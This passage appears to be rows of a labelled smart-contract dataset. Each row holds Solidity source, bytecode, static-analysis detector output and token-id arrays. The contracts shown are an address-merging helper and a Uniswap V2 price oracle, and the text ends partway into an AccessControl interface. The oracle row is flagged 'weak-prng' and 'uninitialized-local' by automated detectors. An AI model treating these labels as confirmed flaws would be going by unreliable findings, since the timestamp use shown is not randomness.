57250e6c1132222f02017ac50029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 28311, 2094, 2620, 2620, 23833, 27814, 2497, 2692, 2509, 11057, 20842, 2629, 2094, 20958, 2581, 2497, 2487, 2278, 2692, 2581, 2581, 23833, 2575, 22025, 10354, 2575, 2683, 2094, 2575, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 9413, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,656
0x957e3ae7983155a9f9e08da555b8084448be26e4
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; contract AddressMergeHelper { function mergeAddresses(address[][] memory addressesSets) pure public returns (address[] memory) { bytes memory addressesPacked = new bytes(64); uint256 addressesSetsLength = addressesSets.length; assembly { mstore(add(addressesPacked, 0x20), 0x20) } uint256 totalNumberOfAddresses; for ( uint256 addressesSetIdx = 0; addressesSetIdx < addressesSetsLength; addressesSetIdx++ ) { address[] memory addressesSet = addressesSets[addressesSetIdx]; uint256 addressesSetLength = addressesSet.length; totalNumberOfAddresses += addressesSetLength; for ( uint256 addressIdx = 0; addressIdx < addressesSetLength; addressIdx++ ) { address currentAddress = addressesSet[addressIdx]; bytes memory spacer = new bytes(12); addressesPacked = abi.encodePacked( addressesPacked, spacer, currentAddress ); } } assembly { mstore(add(addressesPacked, 0x40), totalNumberOfAddresses) } address[] memory addressesMerged = abi.decode(addressesPacked, (address[])); return addressesMerged; } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c8063c0ca9ab814610030575b600080fd5b61004a600480360381019061004591906104b1565b610060565b60405161005791906105f4565b60405180910390f35b60606000604067ffffffffffffffff8111156100a5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156100d75781602001600182028036833780820191505090505b509050600083519050602080830152600080600090505b82811015610268576000868281518110610131577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519050600081519050808461014d91906106e2565b935060005b81811015610252576000838281518110610195577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190506000600c67ffffffffffffffff8111156101e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156102145781602001600182028036833780820191505090505b50905088818360405160200161022c939291906105bf565b60405160208183030381529060405298505050808061024a906107d8565b915050610152565b5050508080610260906107d8565b9150506100ee565b508060408401526000838060200190518101906102859190610470565b905080945050505050919050565b60006102a66102a18461063b565b610616565b905080838252602082019050828560208602820111156102c557600080fd5b60005b858110156102f557816102db88826103c8565b8452602084019350602083019250506001810190506102c8565b5050509392505050565b600061031261030d8461063b565b610616565b9050808382526020820190508285602086028201111561033157600080fd5b60005b85811015610361578161034788826103dd565b845260208401935060208301925050600181019050610334565b5050509392505050565b600061037e61037984610667565b610616565b9050808382526020820190508260005b858110156103be57813585016103a488826103f2565b84526020840193506020830192505060018101905061038e565b5050509392505050565b6000813590506103d7816108c1565b92915050565b6000815190506103ec816108c1565b92915050565b600082601f83011261040357600080fd5b8135610413848260208601610293565b91505092915050565b600082601f83011261042d57600080fd5b815161043d8482602086016102ff565b91505092915050565b600082601f83011261045757600080fd5b813561046784826020860161036b565b91505092915050565b60006020828403121561048257600080fd5b600082015167ffffffffffffffff81111561049c57600080fd5b6104a88482850161041c565b91505092915050565b6000602082840312156104c357600080fd5b600082013567ffffffffffffffff8111156104dd57600080fd5b6104e984828501610446565b91505092915050565b60006104fe838361050a565b60208301905092915050565b61051381610738565b82525050565b61052a61052582610738565b610821565b82525050565b600061053b826106a3565b61054581856106c6565b935061055083610693565b8060005b8381101561058157815161056888826104f2565b9750610573836106b9565b925050600181019050610554565b5085935050505092915050565b6000610599826106ae565b6105a381856106d7565b93506105b3818560208601610774565b80840191505092915050565b60006105cb828661058e565b91506105d7828561058e565b91506105e38284610519565b601482019150819050949350505050565b6000602082019050818103600083015261060e8184610530565b905092915050565b6000610620610631565b905061062c82826107a7565b919050565b6000604051905090565b600067ffffffffffffffff82111561065657610655610874565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561068257610681610874565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b60006106ed8261076a565b91506106f88361076a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561072d5761072c610845565b5b828201905092915050565b60006107438261074a565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015610792578082015181840152602081019050610777565b838111156107a1576000848401525b50505050565b6107b0826108a3565b810181811067ffffffffffffffff821117156107cf576107ce610874565b5b80604052505050565b60006107e38261076a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561081657610815610845565b5b600182019050919050565b600061082c82610833565b9050919050565b600061083e826108b4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b6108ca81610738565b81146108d557600080fd5b5056fea2646970667358221220970de7180170a56a60952facc650c3c7063bf2148715f273879f2bbc365064ac64736f6c63430008020033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 28311, 2063, 2509, 6679, 2581, 2683, 2620, 21486, 24087, 2050, 2683, 2546, 2683, 2063, 2692, 2620, 2850, 24087, 2629, 2497, 17914, 2620, 22932, 18139, 4783, 23833, 2063, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1016, 1025, 3206, 4769, 5017, 3351, 16001, 4842, 1063, 3853, 13590, 4215, 16200, 11393, 2015, 1006, 4769, 1031, 1033, 1031, 1033, 3638, 11596, 13462, 2015, 1007, 5760, 2270, 5651, 1006, 4769, 1031, 1033, 3638, 1007, 1063, 27507, 3638, 11596, 23947, 2098, 1027, 2047, 27507, 1006, 4185, 1007, 1025, 21318, 3372, 17788, 2575, 11596, 13462, 25016, 3070, 2705, 1027, 11596, 13462, 2015, 1012, 3091, 1025, 3320, 1063, 5796, 19277, 1006, 5587, 1006, 11596, 23947, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,657
0x957e7DB886b3970F45cFD13D37DBF0724D4ce05B
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: @uniswap/lib/contracts/libraries/Babylonian.sol pragma solidity >=0.4.0; // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // else z = 0 } } // File: @uniswap/lib/contracts/libraries/FixedPoint.sol pragma solidity >=0.4.0; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant RESOLUTION = 112; uint private constant Q112 = uint(1) << RESOLUTION; uint private constant Q224 = Q112 << RESOLUTION; // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << RESOLUTION) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } // take the reciprocal of a UQ112x112 function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) { require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL'); return uq112x112(uint224(Q224 / self._x)); } // square root of a UQ112x112 function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56)); } } // File: contracts/decentralizedOracle.sol pragma solidity =0.6.6; // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices( address pair ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast(); price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // fixed window oracle that recomputes the average price for the entire period once every period // note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period contract DecentralizedOracle { using FixedPoint for *; uint public constant PERIOD = 1425 minutes; // 23 hours and 45 minutes IUniswapV2Pair pair; address public token0; address public token1; uint public price0CumulativeLast; uint public price1CumulativeLast; uint32 public blockTimestampLast; FixedPoint.uq112x112 public price0Average; FixedPoint.uq112x112 public price1Average; constructor(address factory, address tokenA, address tokenB) public { IUniswapV2Pair _pair = IUniswapV2Pair(IUniswapV2Factory(factory).getPair(tokenA, tokenB)); pair = _pair; token0 = _pair.token0(); token1 = _pair.token1(); price0CumulativeLast = _pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0) price1CumulativeLast = _pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1) uint112 reserve0; uint112 reserve1; (reserve0, reserve1, blockTimestampLast) = _pair.getReserves(); require(reserve0 != 0 && reserve1 != 0, 'DecentralizedOracle: NO_RESERVES'); // ensure that there's liquidity in the pair } function update() external { (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair)); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // overflow is desired, casting never truncates // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed if (timeElapsed >= PERIOD) { price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)); price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)); price0CumulativeLast = price0Cumulative; price1CumulativeLast = price1Cumulative; blockTimestampLast = blockTimestamp; } } // note this will always return 0 before update has been called successfully for the first time. function consult(address token, uint amountIn) external view returns (uint amountOut) { if (token == token0) { amountOut = price0Average.mul(amountIn).decode144(); } else { require(token == token1, 'DecentralizedOracle: INVALID_TOKEN'); amountOut = price1Average.mul(amountIn).decode144(); } } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063a2e6204511610066578063a2e6204514610139578063a6bb453914610143578063b4d1d7951461014b578063c5700a0214610153578063d21220a7146101745761009e565b80630dfe1681146100a35780633ddac953146100c75780635909c0d5146101055780635a3d54931461010d5780635e6aaf2c14610115575b600080fd5b6100ab61017c565b604080516001600160a01b039092168252519081900360200190f35b6100f3600480360360408110156100dd57600080fd5b506001600160a01b03813516906020013561018b565b60408051918252519081900360200190f35b6100f3610271565b6100f3610277565b61011d61027d565b604080516001600160e01b039092168252519081900360200190f35b61014161028c565b005b61011d610379565b6100f3610388565b61015b61038f565b6040805163ffffffff9092168252519081900360200190f35b6100ab61039b565b6001546001600160a01b031681565b6001546000906001600160a01b03848116911614156101e65760408051602081019091526006546001600160e01b031681526101d6906101d1908463ffffffff6103aa16565b610428565b6001600160901b0316905061026b565b6002546001600160a01b038481169116146102325760405162461bcd60e51b81526004018080602001828103825260228152602001806106de6022913960400191505060405180910390fd5b60408051602081019091526007546001600160e01b0316815261025f906101d1908463ffffffff6103aa16565b6001600160901b031690505b92915050565b60035481565b60045481565b6007546001600160e01b031681565b60008054819081906102a6906001600160a01b031661042f565b600554929550909350915063ffffffff90811682039062014dfc908216106103735760405180602001604052808263ffffffff166003548703816102e657fe5b046001600160e01b039081169091529051600680546001600160e01b031916919092161790556040805160208101909152600454819063ffffffff84169086038161032d57fe5b046001600160e01b039081169091529051600780546001600160e01b03191691909216179055600384905560048390556005805463ffffffff191663ffffffff84161790555b50505050565b6006546001600160e01b031681565b62014dfc81565b60055463ffffffff1681565b6002546001600160a01b031681565b6103b26106b8565b60008215806103d857505082516001600160e01b0316828102908382816103d557fe5b04145b6104135760405162461bcd60e51b81526004018080602001828103825260238152602001806107006023913960400191505060405180910390fd5b60408051602081019091529081529392505050565b5160701c90565b600080600061043c6105fe565b9050836001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b15801561047757600080fd5b505afa15801561048b573d6000803e3d6000fd5b505050506040513d60208110156104a157600080fd5b505160408051635a3d549360e01b815290519194506001600160a01b03861691635a3d549391600480820192602092909190829003018186803b1580156104e757600080fd5b505afa1580156104fb573d6000803e3d6000fd5b505050506040513d602081101561051157600080fd5b505160408051630240bc6b60e21b81529051919350600091829182916001600160a01b03891691630902f1ac916004808301926060929190829003018186803b15801561055d57600080fd5b505afa158015610571573d6000803e3d6000fd5b505050506040513d606081101561058757600080fd5b5080516020820151604090920151909450909250905063ffffffff808216908516146105f45780840363ffffffff81166105c18486610608565b516001600160e01b031602969096019563ffffffff81166105e28585610608565b516001600160e01b0316029590950194505b5050509193909250565b63ffffffff421690565b6106106106cb565b6000826001600160701b03161161066e576040805162461bcd60e51b815260206004820152601760248201527f4669786564506f696e743a204449565f42595f5a45524f000000000000000000604482015290519081900360640190fd5b6040805160208101909152806001600160701b0384166dffffffffffffffffffffffffffff60701b607087901b16816106a357fe5b046001600160e01b0316815250905092915050565b6040518060200160405280600081525090565b6040805160208101909152600081529056fe446563656e7472616c697a65644f7261636c653a20494e56414c49445f544f4b454e4669786564506f696e743a204d554c5449504c49434154494f4e5f4f564552464c4f57a2646970667358221220fa661edf5193f52b85ef1e93a3579564c33a6e2173a3adbc1b78f93ce45fc11b64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2063, 2581, 18939, 2620, 20842, 2497, 23499, 19841, 2546, 19961, 2278, 2546, 2094, 17134, 2094, 24434, 18939, 2546, 2692, 2581, 18827, 2094, 2549, 3401, 2692, 2629, 2497, 1013, 1013, 5371, 1024, 1030, 4895, 2483, 4213, 2361, 1013, 1058, 2475, 1011, 4563, 1013, 8311, 1013, 19706, 1013, 1045, 19496, 26760, 9331, 2615, 2475, 21450, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1019, 1012, 1014, 1025, 8278, 1045, 19496, 26760, 9331, 2615, 2475, 21450, 1063, 2724, 3940, 16748, 4383, 1006, 4769, 25331, 19204, 2692, 1010, 4769, 25331, 19204, 2487, 1010, 4769, 3940, 1010, 21318, 3372, 1007, 1025, 3853, 2519, 2080, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 2519, 9232, 12079, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,658
0x957E97a5b25f26DD5b3792F4d6d5cb492501B90e
pragma solidity ^0.8.8; // SPDX-License-Identifier: MIT /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a 